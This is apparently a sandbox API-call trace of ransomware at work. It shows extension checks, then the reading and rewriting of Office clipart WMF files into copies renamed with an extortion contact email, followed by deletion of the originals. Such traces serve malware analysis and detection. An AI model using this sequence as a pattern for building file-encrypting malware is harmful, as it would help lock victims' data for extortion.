	[0198.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.118] lstrlenW (lpString=".zip") returned 4
	[0198.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.118] lstrlenW (lpString=".rar") returned 4
	[0198.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.118] lstrlenW (lpString=".bz2") returned 4
	[0198.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.118] lstrlenW (lpString=".7z") returned 3
	[0198.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.118] lstrlenW (lpString=".dbf") returned 4
	[0198.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.118] lstrlenW (lpString=".1cd") returned 4
	[0198.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.118] lstrlenW (lpString=".jpg") returned 4
	[0198.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.118] lstrlenW (lpString=".doc") returned 4
	[0198.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.118] lstrlenW (lpString=".docx") returned 5
	[0198.118] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0198.118] lstrlenW (lpString=".pdf") returned 4
	[0198.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.119] lstrlenW (lpString=".xls") returned 4
	[0198.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.119] lstrlenW (lpString=".xlsx") returned 5
	[0198.119] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0198.119] lstrlenW (lpString=".ppt") returned 4
	[0198.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.119] lstrlenW (lpString=".zip") returned 4
	[0198.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.119] lstrlenW (lpString=".rar") returned 4
	[0198.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.119] lstrlenW (lpString=".bz2") returned 4
	[0198.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.119] lstrlenW (lpString=".7z") returned 3
	[0198.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.119] lstrlenW (lpString=".dbf") returned 4
	[0198.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.119] lstrlenW (lpString=".1cd") returned 4
	[0198.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.119] lstrlenW (lpString=".jpg") returned 4
	[0198.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.119] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.119] lstrlenW (lpString="J0107452.WMF") returned 12
	[0198.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.121] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=21216) returned 1
	[0198.121] CloseHandle (hObject=0x460) returned 1
	[0198.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 0x220
	[0198.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.121] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.122] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0198.769] GetLastError () returned 0x0
	[0198.769] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x52e0, lpOverlapped=0x0) returned 1
	[0198.794] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x52f0, lpOverlapped=0x0) returned 1
	[0198.796] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.796] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.796] SetEndOfFile (hFile=0x594) returned 1
	[0198.796] CloseHandle (hObject=0x594) returned 1
	[0198.796] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.796] SetEndOfFile (hFile=0x460) returned 1
	[0198.801] CloseHandle (hObject=0x460) returned 1
	[0198.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 1
	[0198.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.803] lstrlenW (lpString=".doc") returned 4
	[0198.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.803] lstrlenW (lpString=".docx") returned 5
	[0198.803] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0198.803] lstrlenW (lpString=".pdf") returned 4
	[0198.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.803] lstrlenW (lpString=".xls") returned 4
	[0198.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.803] lstrlenW (lpString=".xlsx") returned 5
	[0198.803] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0198.803] lstrlenW (lpString=".ppt") returned 4
	[0198.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.803] lstrlenW (lpString=".zip") returned 4
	[0198.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.803] lstrlenW (lpString=".rar") returned 4
	[0198.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.803] lstrlenW (lpString=".bz2") returned 4
	[0198.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.803] lstrlenW (lpString=".7z") returned 3
	[0198.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.803] lstrlenW (lpString=".dbf") returned 4
	[0198.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.803] lstrlenW (lpString=".1cd") returned 4
	[0198.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.804] lstrlenW (lpString=".jpg") returned 4
	[0198.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.804] lstrlenW (lpString=".doc") returned 4
	[0198.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.804] lstrlenW (lpString=".docx") returned 5
	[0198.804] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0198.804] lstrlenW (lpString=".pdf") returned 4
	[0198.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.804] lstrlenW (lpString=".xls") returned 4
	[0198.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.804] lstrlenW (lpString=".xlsx") returned 5
	[0198.804] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0198.804] lstrlenW (lpString=".ppt") returned 4
	[0198.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.804] lstrlenW (lpString=".zip") returned 4
	[0198.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.804] lstrlenW (lpString=".rar") returned 4
	[0198.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.804] lstrlenW (lpString=".bz2") returned 4
	[0198.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.804] lstrlenW (lpString=".7z") returned 3
	[0198.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.804] lstrlenW (lpString=".dbf") returned 4
	[0198.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.804] lstrlenW (lpString=".1cd") returned 4
	[0198.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0198.805] lstrlenW (lpString=".jpg") returned 4
	[0198.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.805] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.805] lstrlenW (lpString="J0107494.WMF") returned 12
	[0198.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.805] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=6424) returned 1
	[0198.806] CloseHandle (hObject=0x460) returned 1
	[0198.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 0x220
	[0198.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.806] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.806] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0198.807] GetLastError () returned 0x0
	[0198.807] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x1918, lpOverlapped=0x0) returned 1
	[0198.809] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1920, lpOverlapped=0x0) returned 1
	[0198.810] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.810] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.810] SetEndOfFile (hFile=0x594) returned 1
	[0198.810] CloseHandle (hObject=0x594) returned 1
	[0198.810] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.810] SetEndOfFile (hFile=0x460) returned 1
	[0198.814] CloseHandle (hObject=0x460) returned 1
	[0198.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 1
	[0198.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.815] lstrlenW (lpString=".doc") returned 4
	[0198.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.815] lstrlenW (lpString=".docx") returned 5
	[0198.815] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0198.815] lstrlenW (lpString=".pdf") returned 4
	[0198.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.815] lstrlenW (lpString=".xls") returned 4
	[0198.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.816] lstrlenW (lpString=".xlsx") returned 5
	[0198.816] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0198.816] lstrlenW (lpString=".ppt") returned 4
	[0198.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.816] lstrlenW (lpString=".zip") returned 4
	[0198.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.816] lstrlenW (lpString=".rar") returned 4
	[0198.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.816] lstrlenW (lpString=".bz2") returned 4
	[0198.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.816] lstrlenW (lpString=".7z") returned 3
	[0198.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.816] lstrlenW (lpString=".dbf") returned 4
	[0198.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.816] lstrlenW (lpString=".1cd") returned 4
	[0198.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.816] lstrlenW (lpString=".jpg") returned 4
	[0198.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.816] lstrlenW (lpString=".doc") returned 4
	[0198.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.816] lstrlenW (lpString=".docx") returned 5
	[0198.816] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0198.816] lstrlenW (lpString=".pdf") returned 4
	[0198.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.816] lstrlenW (lpString=".xls") returned 4
	[0198.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.817] lstrlenW (lpString=".xlsx") returned 5
	[0198.817] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0198.817] lstrlenW (lpString=".ppt") returned 4
	[0198.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.817] lstrlenW (lpString=".zip") returned 4
	[0198.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.817] lstrlenW (lpString=".rar") returned 4
	[0198.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.817] lstrlenW (lpString=".bz2") returned 4
	[0198.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.817] lstrlenW (lpString=".7z") returned 3
	[0198.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.817] lstrlenW (lpString=".dbf") returned 4
	[0198.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.817] lstrlenW (lpString=".1cd") returned 4
	[0198.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0198.817] lstrlenW (lpString=".jpg") returned 4
	[0198.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.817] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.817] lstrlenW (lpString="J0107496.WMF") returned 12
	[0198.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.819] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=8864) returned 1
	[0198.819] CloseHandle (hObject=0x460) returned 1
	[0198.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 0x220
	[0198.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.819] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.819] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0198.820] GetLastError () returned 0x0
	[0198.820] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x22a0, lpOverlapped=0x0) returned 1
	[0198.822] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x22b0, lpOverlapped=0x0) returned 1
	[0198.823] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.823] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.823] SetEndOfFile (hFile=0x594) returned 1
	[0198.823] CloseHandle (hObject=0x594) returned 1
	[0198.823] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.823] SetEndOfFile (hFile=0x460) returned 1
	[0198.826] CloseHandle (hObject=0x460) returned 1
	[0198.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 1
	[0198.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.827] lstrlenW (lpString=".doc") returned 4
	[0198.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.827] lstrlenW (lpString=".docx") returned 5
	[0198.827] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0198.827] lstrlenW (lpString=".pdf") returned 4
	[0198.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.827] lstrlenW (lpString=".xls") returned 4
	[0198.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.827] lstrlenW (lpString=".xlsx") returned 5
	[0198.827] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0198.827] lstrlenW (lpString=".ppt") returned 4
	[0198.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
